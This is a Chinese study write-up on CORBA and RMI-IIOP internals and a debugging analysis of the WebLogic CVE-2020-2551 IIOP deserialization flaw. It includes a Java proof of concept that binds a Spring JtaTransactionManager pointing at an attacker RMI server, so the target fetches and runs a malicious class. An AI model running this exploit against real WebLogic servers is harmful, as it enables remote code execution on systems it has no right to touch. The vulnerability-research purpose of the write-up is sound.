CORBA:

具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点:

1.什么是CORBA?

CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,是OMG(对象管理组织)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。

2.CORBA能干什么?

实现远程对象的调用

3.CORBA分为几部分?

naming service  //个人感觉类似于RMI的注册表服务
client side
servant side

4.CORBA的通信流程是怎样的?

从大体上了解通信流程是怎样的,这里借用里面的图:

1.启动orbd作为naming service,会创建name service服务。
2.corba server向orbd发送请求获取name service,协商好通信格式
3.orbd返回保存的name service
4.corba server拿到name service后将具体的实现类绑定到name service上,这个时候orbd会拿到注册后的信息,这个信息就是IOR。
5.corba client向orbd发起请求获取name service。
6.orbd返回保存的name service。
7.corba client在name service中查找已经注册的信息获取到“引用”的信息(corba server的地址等),通过orb的连接功能将远程方法调用的请求转发到corba server。
8.corba server通过orb接收请求,并利用POA拦截请求,将请求中所指定的类封装好,同样通过orb的连接功能返回给corba client。

以上1-4步主要为服务端参与,即完成服务端去注册类的信息,每个类对应一个IOR,里面包含对所注册的类的描述信息

以上5-8步主要为客户端通过orb来获取name service,然后在注册信息中查找想要调用的类的“引用”,拿到stub,然后调用方法,经orb传到服务端被poa拦截后处理只将结果返回给客户端,所以方法执行不在客户端,为rpc(远程过程调用)

5.CORBA用来进行数据传输的协议是什么?

GIOP全称(General Inter-ORB Protocol)通用对象请求协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通信的媒介。

6.什么是ORB?

orb就是(Object Request Broker)对象请求代理,充当客户端与服务端通信的媒介,而客户端或服务端想要调用orb来发送/处理请求就需要Stubskeleton,这两部分的具体实现就是StubPOA

7.什么是ORBD?

ORBD可以理解为ORB的守护进程,其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,所以客户端和服务端要使用ORB,都要指定ORBD的端口和地址。

8.什么是stub和poa?

Stubclient side调用orb的媒介,POAservant side用于拦截client请求的媒介,而两者在结构上其实都是客户端/服务端调用orb的媒介

9.stub的生成方式是什么?

客户端stub的生成方式(不只以下三种):

首先获取NameServer,后通过resolve_str()方法生成(NameServer生成方式)
使用ORB.string_to_object生成(ORB生成方式)
使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

而以上三种方法都可以总结成两步:

从orbd获取NameService,NameService中包含IOR
根据IOR的信息完成rpc调用

10.IOR中包含什么?

type_id:用于指定本次(资料库或者说是引用)注册的id(实际上是接口类型,就是用于表示接口的唯一标识符),用于实现类型安全。
Profile_host、Profile_port:servant side地址。
Profile ID:指定了profile_data中的内容,例如这里的TAG_INTERNET_IOP所指定的就是IIOP Profile。
Codebase:用于获取stub类的远程位置。通过控制这个属性,攻击者将控制在服务器中解码IOR引用的类

11.CORBA数据的特点是什么?

CORBA的数据传递与传统的序列化传输方式不同,即在二进制流中没有ac ed 00 05的标识,所以单纯从流量的角度是很难识别的,只能从流量上下文中进行识别。

12.编写一个Java CORBA IIOP远程调用步骤:

1.使用idl定义远程接口
2.使用idlj编译idl,将idl映射为Java,它将生成接口的Java版本类以及存根和骨架的类代码文件,这些文件使应用程序可以挂接到ORB。在远程调用的客户端与服务端编写代码中会使用到这些类文件。
3.编写服务端代码
4.编写客户端代码
5.依次启动命名服务->服务端->客户端

由上面的话可以明白服务端挂到ORB上的类必须给客户端生成用于IIOP通信的客户端和服务端类,客户端与服务端的通信依靠着stub,stub从orb中拿

corba的iiop需要字节编写idl接口,并且编译成java类,比较麻烦,所以有了rmi-iiop,结合了rmi的优点,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL)

rmi-iiop例子

服务端代码:

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable; public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) {
try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //设置codebase地址
//实例化Hello servant
HelloImpl helloRef = new HelloImpl(); //要绑定的类 //使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef); //通过定义命名 HelloService 对应要绑定的类(实际上绑定的为实例) System.out.println("Hello Server Ready..."); Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
} private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); //初始化上下文
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

客户端代码:

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable; public class HelloClient {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) {
try {
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //从命名服务获取引用,拿到stub
Object objRef = initialContext.lookup("HelloService");
//narrow引用为具体的对象
HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
EvilMessage message = new EvilMessage(); //发送该对象到服务端,服务端收到后将会还原该对象,即调用该类的readObject
message.setMsg("Client call method sayHello...");
hello.sayHello(message);
} catch (Exception ex) {
ex.printStackTrace();
}
} private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

首先要为客户端和服务端针对HelloImpl接口生成为了进行远程调用所需要的类

此时新生成了两个文件,一个tie是服务端用的,一个stub是客户端用的

那么服务端实际上只完成的是匹配sayhello方法和反射调用,客户端主要定义了服务端可调用的sayhello方法的基本架构,那你客户端只有拿到这个stub才能调用远程对象的方法就说的通了,只要将这个类文件托管到orb上,orbd对接收到的客户端的iiop请求进行匹配,若是请求名是对应为对该类文件的绑定,则进行该类文件的分发,客户端拿到该类文件实际上就是拿到stub,然后客户端本地在通过该stub来实现所谓的远程调用

然后再启动orbd进程,作为实际的orb操作者,监听1050端口,然后再启动服务端

之后启动客户端调用sayhello的同时发送message对象,此时因为服务端收到message对象

并且调用了其readObject方法,当然这里作为实验只是重写了readObject方法,那么如果服务器端本地有可以利用的gadget,并且可调用的方法的入口参数也为object类型,那么同样可以打,但是这里和之前学习rmi调用时存在的洞很类似,利用的限制条件还是比较高的,首先客户端也要有你服务器端反序列化的该类的定义,并且报名类名得完全一致才可以

后面也示范了动态类加载的机制,也就是和rmi一样,反序列化过程中本地找不到需要的class将去codebase指定的地址进行记载。

Weblogic中的RMI-IIOP

Weblogic默认是开启了iiop协议的,但是如果想要如上述流程来打weblogic,那么就要找到weblogic中绑定到orb的类必须得给客户端和服务端生成远程调用的两种类,然而Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了的正是服务端去绑定类的时黑名单的绕过,weblogic安装可以参考https://blog.csdn.net/acmman/article/details/70093877这篇文章,因为要对weblogic进行debug,因此在user_projects\domains\base_domain的startWebLogic.cmd文件中中设置debug标志

接下来配置idea,添加debug要依赖的jar包

添加debug链接选项,端口就写上面weblogic开的debug端口

poc:

public class Main {
public static void main(String[] args) throws Exception {
String ip = "192.168.3.247";
String port ="7001";
String rmiurl = "rmi://192.168.3.199:1099/Exploit";
String rhost = String.format("iiop://%s:%s", ip, port);
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env); JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);
context.bind("tr1ple", jtaTransactionManager); }
}

这里用到了一个入口类org.springframework.transaction.jta.JtaTransactionManager,该类在之前在spring里就爆出过jndi

spring-jndi:

先本地测试一下这个类:

这里需要添加两个依赖:

    <dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>

调用栈如下所示:

那么首先进入该类的initUserTransactionAndTransactionManager方法中

然后将进入this.lookupUserTransaction方法中,因为this.userTransaction默认为null

那么此时就看到熟悉的lookup函数了,并且此时的userTransactionName又是可控的,所以妥妥的JNDI注入

那么本地起个rmi referver即可,那么在getObjectFactoryFromReference函数中就会到rmi server指定的codebase去加载工厂类

最终通过newInstance实例化工厂类从而触发calc

cve-2020-2551:

首先根据poc的bind函数下端点,看一下要进行什么操作,因为在获取上下文时poc已经要与orb进行一次通信,所以此时数据包:

首先客户端192.168.3.199向weblogic 192.168.3.247请求locaterequest,这里实际上是请求nameservice

然后orb返回的数据包中包含命名上下文和ior

然后步入bind函数:

这里实际上是调用orb返回的命名上下文将我们指定的JtaTransactionManager实例向orb进行绑定

接下来在bind_any函数中进行序列化数据的构造,这里可以看到weblogic用的序列化输出流是iiopOutputstream,所以在网络中传输的数据流中是看不到原生objectoutputsteam的magic头部的

接着调用iiopOutputstream的write_any函数写入jta类,进一步在weblogic/corba/idl/AnyImpl的write_value中写入序列化数据

接着调用_invoke发送序列化数据

并最终调用EndpointImpl的send函数发送上文构造的iiopoutputstream,可以看到里面的giop数据已经在本地构造完成,所以此时199将给orb发送一条giop消息,进行jta类实例的绑定

那么此时对于weblogic而言应该接受到了giop消息,所以要对其进行处理,那么序列化用的是iiopoutputstream,那么反序列化应该用的是iiopInputstream输入流,因此找到该类的read_any处下断点并发送poc

和序列化相对应,此时实例化AnyImpl实例调用其read_value读取序列化数据,并且在ValueHandlerImpl.readValue中从iiopStream中拿到objectInputstream然后调用jta类的readObject进行反序列化

接下来就是之前讲的spring的jndi,weblogic加载Exploit.class从而进行rce

调试时注意问题:

因为这里实际上是模拟服务端来向orb绑定,因此服务端相对于orb来说也是一个客户端,这里要用到orbhelper来获取命名服务

而getORBhelper里面会判断当前是不是瘦客户端

因为要模拟服务器端所以,这里必须让thinClient为false,因此这个静态代码快必须到捕获异常块

总结:

整个攻击过程就是假冒服务端来进行类实例的绑定而与weblogic进行giop通信发送序列化数据,而weblogic接收到序列化数据再进行实例还原,整个流程没问题,主要还是weblogic本身在反序列化是没有对类黑名单做好限制。当然在分析过程中抓包来分析通信也更能清晰了解网络通信流程,也更有助于我们理解漏洞原理。

weblogic-cve-2020-2551 IIOP反序列化导致远程代码执行漏洞,主要是IIOP支持RMI方式的远程方法调用,所以在CORBA这种通信架构中可以伪造服务端和ORB通信,在获取到context后,绑定恶意的远程调用类到ORB,加上黑名单校验不严,存在springboot的jndi注入的gadget,因此导致回连恶意的rmi server造成加载我们构造的任意字节码来RCE

参考:

1.https://www.anquanke.com/post/id/196555 讲java corba的文章

2.https://www.anquanke.com/post/id/175738  基于攻击流量和日志对Weblogic各类漏洞的分析思路

3.https://www.anquanke.com/post/id/177546  WebLogic 多个CVE XXE漏洞分析

4.https://www.anquanke.com/post/id/180725   浅谈Weblogic反序列化——XMLDecoder的绕过史

5.https://www.anquanke.com/post/id/195865#h2-2  t3反序列化

7.https://www.anquanke.com/post/id/199227 讲corba的原理

9.https://www.anquanke.com/post/id/184068#h2-14 讲weblogic 很详细

10.https://blog.csdn.net/acmman/article/details/70093877 weblogic安装

11.https://www.anquanke.com/post/id/199966 cve 2020-2551

12.https://xz.aliyun.com/t/7374#toc-9  cve 2020-2551

13.https://www.anquanke.com/post/id/199695#h3-2   cve 2020-2551

14.https://www.anquanke.com/post/id/197605  iiop反序列化

weblogic-CVE-2020-2551-IIOP反序列化学习记录的更多相关文章

  1. python反序列化学习记录

    pickle与序列化和反序列化 官方文档 模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化. "pickling" 是将 Python 对象及其所拥 ...

  2. git原理学习记录:从基本指令到背后原理,实现一个简单的git

    一开始我还担心 git 的原理会不会很难懂,但在阅读了官方文档后我发现其实并不难懂,似乎可以动手实现一个简单的 git,于是就有了下面这篇学习记录. 本文的叙述思路参照了官方文档Book的原理介绍部分 ...

  3. Python学习记录day5

    title: Python学习记录day5 tags: python author: Chinge Yang date: 2016-11-26 --- 1.多层装饰器 多层装饰器的原理是,装饰器装饰函 ...

  4. Android开发技术周报183学习记录

    Android开发技术周报183学习记录 教程 Android性能优化来龙去脉总结 记录 一.性能问题常见 内存泄漏.频繁GC.耗电问题.OOM问题. 二.导致性能问题的原因 1.人为在ui线程中做了 ...

  5. Java设计模式学习记录-单例模式

    前言 已经介绍和学习了两个创建型模式了,今天来学习一下另一个非常常见的创建型模式,单例模式. 单例模式也被称为单件模式(或单体模式),主要作用是控制某个类型的实例数量是一个,而且只有一个. 单例模式 ...

  6. 消息中间件kafka学习记录

    目录 1. 概述 2. 环境准备 3. 命令行常用命令 4. java api实现 1. 概述 Apache Kafka是一个分布式消息系统,凭借其优异的特性而被广泛使用. 高性能:O(1)复杂度消息 ...

  7. 中级实训Android学习记录——Toast、AlertDialog、ProgressBar

    学习记录 2020/11/22 Toast Toast Toast是一个消息提示组件 我们可以设置其显示的位置 自定义其显示的内容 对Toast的简单封装可以达到不同的目的 Toast的默认用法 To ...

  8. Quartz 学习记录1

    原因 公司有一些批量定时任务可能需要在夜间执行,用的是quartz和spring batch两个框架.quartz是个定时任务框架,spring batch是个批处理框架. 虽然我自己的小玩意儿平时不 ...

  9. Java 静态内部类与非静态内部类 学习记录.

    目的 为什么会有这篇文章呢,是因为我在学习各种框架的时候发现很多框架都用到了这些内部类的小技巧,虽然我平时写代码的时候基本不用,但是看别人代码的话至少要了解基本知识吧,另外到底内部类应该应用在哪些场合 ...

随机推荐

  1. 浅谈JobExecutionContext & JobDataMap

    JobExecutionContext是什么? 当Scheduler调用一个Job,就会将JobExecutionContext传递给Job的 execute() 方法: Job能通过JobExecu ...

  2. [资讯]同济D&I出品 | 绝对是史上最萌的机器人教具!!!

      机器人小曼……" 3D打印.激光切割等先进工艺. Anibot中包含三种不同的动物形象:小鸡安妮.小鹿安娜.猫头鹰安迪.孩子们通过对各个元器件的学习及编程确保它们幸福成长在阳光氤氲的森林 ...

  3. 在dataframe添加1行(首行,或者尾部),且不覆盖

    如果直接用下面的代码添加第1行,则会覆盖掉原来的第1行. #指定位置增加一行: df.loc[0]={'a':1,'b':2} 正确方法: 新建一个同样的 dataframe, 然后合并两个dataf ...

  4. JAVA如何判断两个字符串是否相等

    ==比较引用,equals 比较值 1.java中字符串的比较:== 我们经常习惯性的写上if(str1==str2),这种写法在java中可能会带来问题 example1: String a=&qu ...

  5. JVM、JRE和JDK三者间的区别和联系

    简介:我们利用JDK(调用JAVA API)开发了属于我们自己的JAVA程序后,通过JDK中的编译程序(javac)将我们的文本java文件编译成JAVA字节码,在JRE上运行这些JAVA字节码,JV ...

  6. VR、网剧如何成为民间骗子中的朝阳产业

    ​ 互联网的发达,让大众有了了解世界最好的传播工具.但与此同时,大量信息潮的涌来,让人们难以分辨其中的真假.于是,原本靠大力丸.保健药.假公章等行骗的骗子们开始转变方向,利用信息不对称性,大肆捏造与热 ...

  7. Nginx 配置GeoIP2 禁止访问,并允许添加白名单过滤访问设置

    配置环境:Centos 7.6 + Tengine 2.3.2 GeoIP2 下载地址:https://dev.maxmind.com/geoip/geoip2/geolite2/ 1. Nginx  ...

  8. Tornado 简述

    前言 python 旗下,群英荟萃,豪杰并起.单是用于 web 开发的,就有 webpy.web2py.bottle.pyramid.zope2.flask.tornado.django 等等,不一而 ...

  9. 大马提权详细过程webshell到提权

    .在shell路径这一栏里输入服务器端cmd.exe对应的绝对路径,这里用我们刚刚上传上去的smallchao.exe 8.WINDOWS常见命令:net user 查看所有用户query user ...

  10. Spring的工作原理

    一.什么是Spring (1).Spring真正的精华是它的Ioc模式实现的BeanFactory和AOP,它自己在这个基础上延伸的功能有些画蛇添足. (2). Spring它是一个开源的项目,而且目 ...